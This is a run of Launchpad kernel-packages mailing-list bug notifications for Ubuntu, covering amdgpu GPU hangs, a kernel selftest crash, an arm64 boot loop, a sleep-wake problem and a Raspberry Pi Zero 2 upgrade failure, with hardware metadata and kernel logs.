Hewlett-Packard Company HD Graphics 620 [103c:81ee] Subsystem: Hewlett-Packard Company Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 / M430 / Radeon 520 Mobile] [103c:81ee] InstallationDate: Installed on 2021-10-29 (4 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Release amd64 (20211012) MachineType: HP HP Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=tr_TR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-051500-generic root=UUID=51509311-ce8a-48fb-9ece-8e018d63fe03 ro quiet splash radeon.si_support=0 amdgpu.si_support=1 vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2020 dmi.bios.release: 15.49 dmi.bios.vendor: Insyde dmi.bios.version: F.49 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 81EE dmi.board.vendor: HP dmi.board.version: 62.29 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 62.29 dmi.modalias: dmi:bvnInsyde:bvrF.49:bd06/26/2020:br15.49:efr62.29:svnHP:pnHPNotebook:pvrType1ProductConfigId:rvnHP:rn81EE:rvr62.29:cvnHP:ct10:cvrChassisVersion:skuX9Z24EA#AB8: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Notebook dmi.product.sku: X9Z24EA#AB8 dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.107-8ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.2.2-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.13-1ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu2 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-1build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1949497/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950147] Re: [amdgpu] Screen freeze (ring gfx timeout)
*** This bug is a duplicate of bug 1949497 *** https://bugs.launchpad.net/bugs/1949497 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 1949497, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. ** Summary changed: - Wayland freeze + [amdgpu] Screen freeze (ring gfx timeout) ** Tags added: amdgpu ** Package changed: xorg (Ubuntu) => linux (Ubuntu) ** This bug has been marked a duplicate of bug 1949497 [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950147 Title: [amdgpu] Screen freeze (ring gfx timeout) Status in linux package in Ubuntu: New Bug description: When playing a game through Wine I occasionally have the screen lock up and become unresponsive to any input, including SysRq commands. However applications are still running in the background because I can e.g. hear spotify playing through my library in the background. I have looked at my journal and this section seems to be relevant because it mentions the Windows app being run using Wine (MTGA.exe) and also my graphics setup. The journal is attached. In particular the line of interest is: Nov 08 21:17:34 michael-desktop kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=21072413, emitted seq=21072415 Nov 08 21:17:34 michael-desktop kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process MTGA.exe pid 619227 thread MTGA.exe:cs0 pid 619300 ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: xorg 1:7.7+22ubuntu2 ProcVersionSignature: Ubuntu 5.13.0-20.20-generic 5.13.14 Uname: Linux 5.13.0-20-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: unknown CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Nov 8 21:45:10 2021 DistUpgraded: 2021-10-19 23:58:20,621 DEBUG Running PostInstallScript: '/usr/lib/ubuntu-advantage/upgrade_lts_contract.py' DistroCodename: impish DistroVariant: ubuntu DkmsStatus: xpad, 0.4, 5.13.0-19-generic, x86_64: installed xpad, 0.4, 5.13.0-20-generic, x86_64: installed xpad, 0.4, 5.4.45-050445-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Once a week GpuHangReproducibility: Occurs more often under certain circumstances GpuHangStarted: Immediately after installing this version of Ubuntu GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Curacao XT / Trinidad XT [Radeon R7 370 / R9 270X/370X] [1002:6810] (prog-if 00 [VGA controller]) Subsystem: PC Partner Limited / Sapphire Technology Curacao XT / Trinidad XT [Radeon R7 370 / R9 270X/370X] [174b:e271] InstallationDate: Installed on 2016-07-30 (1926 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-20-generic root=UUID=768ef993-9d8f-4c92-9155-97d92a1bdd93 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: Upgraded to impish on 2021-10-19 (19 days ago) XorgLog: Error: path contained symlinks. XorgLogOld: Error: path contained symlinks. dmi.bios.date: 04/09/2013 dmi.bios.release: 8.15 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P1.20 dmi.board.asset.tag: BC5FF4DC2BD7 dmi.board.name: 980DE3/U3S3 dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP1.20:bd04/09/2013:br8.15:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:skuToBeFilledByO.E.M.:rvnASRock:rn980DE3/U3S3:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: To Be Filled By O.E.M. dmi.product.sku: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. version.compiz: compiz 1:0.9.14.1+21.10.20210501-0ubuntu1 version.libdrm2: libdrm2 2.4.107-8ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.2.2-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx
[Kernel-packages] [Bug 1927076] Re: IPv6 TCP in reuseport_bpf_cpu from ubuntu_kernel_selftests/net crash P8 node entei (Oops: Exception in kernel mode, sig: 4 [#1])
** Tags removed: bugnameltc-194783 severity-medium ** Tags added: bugnameltc-192677 severity-high -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1927076 Title: IPv6 TCP in reuseport_bpf_cpu from ubuntu_kernel_selftests/net crash P8 node entei (Oops: Exception in kernel mode, sig: 4 [#1]) Status in ubuntu-kernel-tests: New Status in The Ubuntu-power-systems project: Confirmed Status in linux package in Ubuntu: Incomplete Status in linux source package in Focal: Confirmed Status in linux source package in Hirsute: Confirmed Bug description: It looks like our P8 node "entei" tend to fail with the IPv6 TCP test from reuseport_bpf_cpu in ubuntu_kernel_selftests/net on 5.8 kernels: # send cpu 119, receive socket 119 # send cpu 121, receive socket 121 # send cpu 123, receive socket 123 # send cpu 125, receive socket 125 # send cpu 127, receive socket 127 # IPv6 TCP publish-job-status: using request.json It failed silently here, this can be 100% reproduced with Groovy 5.8 and Focal 5.8. This will cause the ubuntu_kernel_selftests being interrupted, the test result for other tests cannot be processed to our result page. Please find attachment for the complete "net" test result on this node with Groovy 5.8.0-52.59 Add the kqa-blocker tag as this might needs to be manually verified. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1927076/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950147] [NEW] [amdgpu] Screen freeze (ring gfx timeout)
You have been subscribed to a public bug: When playing a game through Wine I occasionally have the screen lock up and become unresponsive to any input, including SysRq commands. However applications are still running in the background because I can e.g. hear spotify playing through my library in the background. I have looked at my journal and this section seems to be relevant because it mentions the Windows app being run using Wine (MTGA.exe) and also my graphics setup. The journal is attached. In particular the line of interest is: Nov 08 21:17:34 michael-desktop kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=21072413, emitted seq=21072415 Nov 08 21:17:34 michael-desktop kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process MTGA.exe pid 619227 thread MTGA.exe:cs0 pid 619300 ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: xorg 1:7.7+22ubuntu2 ProcVersionSignature: Ubuntu 5.13.0-20.20-generic 5.13.14 Uname: Linux 5.13.0-20-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: unknown CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Nov 8 21:45:10 2021 DistUpgraded: 2021-10-19 23:58:20,621 DEBUG Running PostInstallScript: '/usr/lib/ubuntu-advantage/upgrade_lts_contract.py' DistroCodename: impish DistroVariant: ubuntu DkmsStatus: xpad, 0.4, 5.13.0-19-generic, x86_64: installed xpad, 0.4, 5.13.0-20-generic, x86_64: installed xpad, 0.4, 5.4.45-050445-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Once a week GpuHangReproducibility: Occurs more often under certain circumstances GpuHangStarted: Immediately after installing this version of Ubuntu GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Curacao XT / Trinidad XT [Radeon R7 370 / R9 270X/370X] [1002:6810] (prog-if 00 [VGA controller]) Subsystem: PC Partner Limited / Sapphire Technology Curacao XT / Trinidad XT [Radeon R7 370 / R9 270X/370X] [174b:e271] InstallationDate: Installed on 2016-07-30 (1926 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-20-generic root=UUID=768ef993-9d8f-4c92-9155-97d92a1bdd93 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: Upgraded to impish on 2021-10-19 (19 days ago) XorgLog: Error: path contained symlinks. XorgLogOld: Error: path contained symlinks. dmi.bios.date: 04/09/2013 dmi.bios.release: 8.15 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P1.20 dmi.board.asset.tag: BC5FF4DC2BD7 dmi.board.name: 980DE3/U3S3 dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP1.20:bd04/09/2013:br8.15:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:skuToBeFilledByO.E.M.:rvnASRock:rn980DE3/U3S3:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: To Be Filled By O.E.M. dmi.product.sku: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. version.compiz: compiz 1:0.9.14.1+21.10.20210501-0ubuntu1 version.libdrm2: libdrm2 2.4.107-8ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.2.2-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 21.2.2-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.13-1ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.6-2build1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu2 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-1build1 xserver.bootTime: Wed May 12 17:02:34 2021 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.6-1ubuntu4.9 xserver.video_driver: amdgpu ** Affects: linux (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 amdgpu apport-bug freeze impish ubuntu wayland-session -- [amdgpu] Screen freeze (ring gfx timeout) https://bugs.launchpad.net/bugs/1950147 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1927076] Re: IPv6 TCP in reuseport_bpf_cpu from ubuntu_kernel_selftests/net crash P8 node entei (Oops: Exception in kernel mode, sig: 4 [#1])
** Summary changed: - IPv6 TCP in reuseport_bpf_cpu from ubuntu_kernel_selftests/net crash P8 node entei on 5.8 kernel (Oops: Exception in kernel mode, sig: 4 [#1]) + IPv6 TCP in reuseport_bpf_cpu from ubuntu_kernel_selftests/net crash P8 node entei (Oops: Exception in kernel mode, sig: 4 [#1]) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1927076 Title: IPv6 TCP in reuseport_bpf_cpu from ubuntu_kernel_selftests/net crash P8 node entei (Oops: Exception in kernel mode, sig: 4 [#1]) Status in ubuntu-kernel-tests: New Status in The Ubuntu-power-systems project: Confirmed Status in linux package in Ubuntu: Incomplete Status in linux source package in Focal: Confirmed Status in linux source package in Hirsute: Confirmed Bug description: It looks like our P8 node "entei" tend to fail with the IPv6 TCP test from reuseport_bpf_cpu in ubuntu_kernel_selftests/net on 5.8 kernels: # send cpu 119, receive socket 119 # send cpu 121, receive socket 121 # send cpu 123, receive socket 123 # send cpu 125, receive socket 125 # send cpu 127, receive socket 127 # IPv6 TCP publish-job-status: using request.json It failed silently here, this can be 100% reproduced with Groovy 5.8 and Focal 5.8. This will cause the ubuntu_kernel_selftests being interrupted, the test result for other tests cannot be processed to our result page. Please find attachment for the complete "net" test result on this node with Groovy 5.8.0-52.59 Add the kqa-blocker tag as this might needs to be manually verified. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1927076/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845820] Re: arm64: loop on boot after installing linux-generic-hwe-18.04-edge/bionic-proposed
FYI: SolidRun Honeycomb/ClearFog LX2K users depend upon this feature as well (ARM_SMMU_DISABLE_BYPASS_BY_DEFAULT=n); despite this original issue being filed for Cavium boards, it's still true for more recent hardware as well. Thus, please don't remove it without compatibility testing. Thanks! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845820 Title: arm64: loop on boot after installing linux-generic- hwe-18.04-edge/bionic-proposed Status in linux package in Ubuntu: Fix Released Bug description: Description: system is stuck in a loop after installing linux-generic-hwe-18.04-edge/bionic-proposed System: Cavium CN88XX Board Model:crb-1s SKU: CN8890-2000BG2601-AAP-PR-Y-G 1) Ubuntu 18.04.3 LTS (GNU/Linux 5.0.0-23-generic aarch64) Description: Ubuntu 18.04.3 LTS Release: 18.04 2) ((enable -proposed archive)) linux-generic-hwe-18.04-edge: Installed: 5.0.0.23.79 Candidate: 5.3.0.12.83 Version table: 5.3.0.12.83 500 500 http://ports.ubuntu.com/ubuntu-ports bionic-proposed/main arm64 Packages *** 5.0.0.23.79 500 500 http://ports.ubuntu.com/ubuntu-ports bionic-updates/main arm64 Packages 100 /var/lib/dpkg/status 5.0.0.20.76 500 500 http://ports.ubuntu.com/ubuntu-ports bionic-security/main arm64 Packages 3) a. install linux-generic-hwe-18.04-edge/bionic-proposed 5.3.0.12.83 arm64 [upgradable from: 5.0.0.23.79] b. reboot c. ssh into the system 4) a. installed linux-generic-hwe-18.04-edge/bionic-proposed b. system is stuck in a boot loop ``` linux-generic-hwe-18.04-edge/bionic-proposed 5.3.0.12.83 arm64 [upgradable from: 5.0.0.23.79] Complete Generic Linux kernel and headers ``` To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1845820/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950101] Re: Cannot wakeup from sleep from keyboard
Exactly the same trouble here! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950101 Title: Cannot wakeup from sleep from keyboard Status in linux package in Ubuntu: Confirmed Bug description: I have always been able to wake up from sleep by pressing any key. Since a few days, I need to press the startup button of my computer. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-89-generic 5.4.0-89.100 ProcVersionSignature: Ubuntu 5.4.0-89.100-generic 5.4.143 Uname: Linux 5.4.0-89-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: izak 2934 F pulseaudio /dev/snd/pcmC1D0p: izak 2934 F...m pulseaudio /dev/snd/controlC0: izak 2934 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun Nov 7 20:49:07 2021 HibernationDevice: RESUME=UUID=4226b1a5-ebed-4bf9-afa2-33431caa2763 InstallationDate: Installed on 2014-10-24 (2570 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) MachineType: ASUS All Series ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-89-generic root=/dev/mapper/ubuntu--vg-root ro acpi_enforce_resources=lax quiet splash acpi_backlight=video vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-89-generic N/A linux-backports-modules-5.4.0-89-generic N/A linux-firmware1.187.20 SourcePackage: linux UpgradeStatus: Upgraded to focal on 2020-11-05 (367 days ago) dmi.bios.date: 10/27/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2702 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: Z97-PRO(Wi-Fi ac) dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2702:bd10/27/2015:svnASUS:pnAllSeries:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnZ97-PRO(Wi-Fiac):rvrRev1.xx:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: ASUS MB dmi.product.name: All Series dmi.product.sku: All dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950101/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950214] [NEW] raspi 64 bit Impish image can't 'apt upgrade' without adding swap on pi zero 2
Public bug reported: When attempting to 'apt upgrade' on the pi zero 2 with the 64 bit Impish image and nothing new installed to it, update-initramfs fails like so: Setting up linux-firmware (1.201.1) ... update-initramfs: Generating /boot/initrd.img-5.13.0-1008-raspi Killed E: mkinitramfs failure zstd -q -19 -T0 137 Adding a swap file to the setup allowed 'apt -f install' to run successfully. How the device was setup 1) xzcat | dd the sdcard with the impish 64 bit server image 2) setup for serial over USB (dtoverlay=dwc2, modules-load=dwc2,g_serial, link getty@ttyGS0.service ) as suggested in https://www.tal.org/tutorials/raspberry-pi-zero-usb-serial-console 3) resize partition 2 - fdisk delete partition 2 and recreate to use the rest of the 16GB flash, e2fsck, resize2fs 4) cp bcm2710-rpi-3-b.dtb bcm2710-rpi-zero-2.dtb per https://waldorf.waveform.org.uk/2021/the-pi-zero-2.html 5) boot, connect to wireless, ssh in 6) apt update && apt upgrade 7) observe above issue ProblemType: Package DistroRelease: Ubuntu 21.10 Package: linux-firmware 1.201.1 ProcVersionSignature: Ubuntu 5.13.0-1009.10-raspi 5.13.14 Uname: Linux 5.13.0-1009-raspi aarch64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Nov 8 19:47 seq crw-rw 1 root audio 116, 33 Nov 8 19:47 timer AlsaVersion: Advanced Linux Sound Architecture Driver Version k5.13.0-1009-raspi. AplayDevices: Error: [Errno 2] No such file or directory: 'aplay' ApportVersion: 2.20.11-0ubuntu71 Architecture: arm64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CasperMD5CheckResult: unknown Date: Mon Nov 8 21:00:59 2021 Dependencies: ErrorMessage: installed linux-firmware package post-installation script subprocess returned error exit status 1 ImageMediaBuild: 20211013 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig' Lspci: Lspci-vt: -[:00]- Lsusb: Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=dwc2/1p, 480M PackageArchitecture: all PciMultimedia: ProcFB: 0 BCM2708 FB ProcKernelCmdLine: coherent_pool=1M 8250.nr_uarts=1 snd_bcm2835.enable_compat_alsa=0 snd_bcm2835.enable_hdmi=1 bcm2708_fb.fbwidth=720 bcm2708_fb.fbheight=480 bcm2708_fb.fbswap=1 smsc95xx.macaddr=B8:27:EB:5C:DA:C8 vc_mem.mem_base=0x1ec0 vc_mem.mem_size=0x2000 dwc_otg.lpm_enable=0 console=ttyS0,115200 console=tty1 root=LABEL=writable rootfstype=ext4 elevator=deadline rootwait fixrtc quiet splash modules-load=dwc2,g_serial Python3Details: /usr/bin/python3.9, Python 3.9.7, python3-minimal, 3.9.4-1build1 PythonDetails: N/A RelatedPackageVersions: grub-pc N/A RfKill: Error: [Errno 2] No such file or directory: 'rfkill' SourcePackage: linux-firmware StagingDrivers: bcm2835_mmal_vchiq snd_bcm2835 bcm2835_isp bcm2835_v4l2 bcm2835_codec vc_sm_cma Title: package linux-firmware 1.201.1 failed to install/upgrade: installed linux-firmware package post-installation script subprocess returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) acpidump: ** Affects: linux-firmware (Ubuntu) Importance: Undecided Status: New ** Tags: apport-package arm64 arm64-image impish raspi-image staging uec-images -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-firmware in Ubuntu. https://bugs.launchpad.net/bugs/1950214 Title: raspi 64 bit Impish image can't 'apt upgrade' without adding swap on pi zero 2 Status in linux-firmware package in Ubuntu: New Bug description: When attempting to 'apt upgrade' on the pi zero 2 with the 64 bit Impish image and nothing new installed to it, update-initramfs fails like so: Setting up linux-firmware (1.201.1) ... update-initramfs: Generating /boot/initrd.img-5.13.0-1008-raspi Killed E: mkinitramfs failure zstd -q -19 -T0 137 Adding a swap file to the setup allowed 'apt -f install' to run successfully. How the device was setup 1) xzcat | dd the sdcard with the impish 64 bit server image 2) setup for serial over USB (dtoverlay=dwc2,
[Kernel-packages] [Bug 1950205] Re: Some shaders can crash the amdgpu kernel module, tainting
Edit -- it transpires that, despite what I said, the magic <0 to <=0 change hasn't been made on the main branch of mesa's git repo yet. I've successfully compiled a local copy (with meson & ninja) and am running it in a separate root to avoid clobbering the system libraries using LD_LIBRARY_PATH and friends which can get glxgears working at least. Frankly I am in a little over my depth. I'd like to really be able to build the packages from source, apply a two character / one line diff as suggested upstream to see if it actually works, and then test further. Any advice very welcome ;-). -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950205 Title: Some shaders can crash the amdgpu kernel module, tainting Status in linux package in Ubuntu: Confirmed Bug description: Hi there, I am experiencing, at random, the AMD-GPU "fences timed out!" bug reported previously as being either a kernel issue (https://bugzilla.kernel.org/show_bug.cgi?id=213145) or a mesa (https://gitlab.freedesktop.org/mesa/mesa/-/issues/4866) issue. The later was apparently fixed in 21.2.4 -- I have experienced it both on the stock mesa package versions current in play in 21.10 and the "bleeding edge" git-based builds. It is difficult to reproduce deterministically. For me, at present, roleplaying game Pathfinder: Wrath of the Righteous running under proton with Lutris (0.5.8.3/wine version lutris-fshack-6.14-3-x86_64 with DXVK v1.8.1L) triggers far more infrequently on the lowest graphics settings, but occasionally absolutely deterministically at certain points (I have a save game that can do this in the highly unlikely event that anyone wants to take me up on the issue and has the GOG game -- email me at jack.mil...@physics.org). This manifests as extreme screen corruption requiring a restart of at a minimum lightdm to fix, and more likely the whole computer. Memory issues can occur either on the card or on the host, namely: [ 1208.225974] [drm:amdgpu_dm_commit_planes [amdgpu]] *ERROR* Waiting for fences timed out! [ 1213.01] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=112591, emitted seq=112593 [ 1213.100119] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process Wrath.exe pid 18793 thread Wrath.exe pid 18984 [ 1213.100224] amdgpu :08:00.0: amdgpu: GPU reset begin! [ 1213.349988] [drm:amdgpu_dm_commit_planes [amdgpu]] *ERROR* Waiting for fences timed out! [ 1213.350131] [drm:dce110_vblank_set [amdgpu]] *ERROR* Failed to get VBLANK! [ 1213.509424] amdgpu: cp is busy, skip halt cp [ 1213.95] amdgpu: rlc is busy, skip halt rlc [ 1213.778816] amdgpu :08:00.0: amdgpu: BACO reset [ 1214.425001] amdgpu :08:00.0: amdgpu: GPU reset succeeded, trying to resume [ 1214.427319] [drm] PCIE GART of 256M enabled (table at 0x00F4007E9000). [ 1214.427335] [drm] VRAM is lost due to GPU reset! [ 1214.600175] [ cut here ] [ 1214.600178] amdgpu :08:00.0: drm_WARN_ON(atomic_read(>refcount) == 0) [ 1214.600244] WARNING: CPU: 7 PID: 0 at drivers/gpu/drm/drm_vblank.c:1210 drm_vblank_put+0xef/0x100 [drm] [ 1214.600274] Modules linked in: xfrm_user xfrm_algo xt_addrtype br_netfilter vboxnetadp(OE) vboxnetflt(OE) vboxdrv(OE) rfcomm ashmem_linux(C) binder_linux iptable_mangle xt_comment iptable_nat iptable_filter bpfilter xt_CHECKSUM xt_MASQUERADE ipt_REJECT nf_reject_ipv4 nf_conntrack_netlink xt_conntrack nft_chain_nat nf_nat xt_NFQUEUE xt_tcpudp nf_conntrack nft_compat nf_defrag_ipv6 nf_defrag_ipv4 tcp_diag inet_diag nft_counter nfnetlink_queue nf_tables nfnetlink bridge stp llc cmac algif_hash algif_skcipher af_alg bnep overlay binfmt_misc nls_iso8859_1 zfs(PO) zunicode(PO) zzstd(O) zlua(O) zavl(PO) icp(PO) zcommon(PO) snd_hda_codec_realtek intel_rapl_msr znvpair(PO) snd_hda_codec_generic intel_rapl_common spl(O) ledtrig_audio snd_hda_codec_hdmi edac_mce_amd snd_hda_intel snd_intel_dspcfg snd_intel_sdw_acpi snd_hda_codec kvm_amd snd_hda_core btusb ath9k snd_hwdep btrtl kvm ath9k_common snd_pcm btbcm btintel ath9k_hw snd_seq_midi rapl bluetooth snd_seq_midi_event ath snd_rawmidi [ 1214.600304] ecdh_generic joydev mac80211 snd_seq ecc input_leds snd_seq_device apple_mfi_fastcharge snd_timer snd eeepc_wmi soundcore ccp efi_pstore wmi_bmof cfg80211 k10temp libarc4 mac_hid sch_fq_codel nct6775 hwmon_vid msr nfsd parport_pc ppdev auth_rpcgss lp nfs_acl parport lockd grace sunrpc ip_tables x_tables autofs4 btrfs blake2b_generic zstd_compress dm_crypt raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear hid_logitech_dj hid_apple hid_logitech_hidpp hid_generic usbhid hid mfd_aaeon asus_wmi sparse_keymap amdgpu video iommu_v2 gpu_sched i2c_algo_bit drm_ttm_helper ttm crct10dif_pclmul
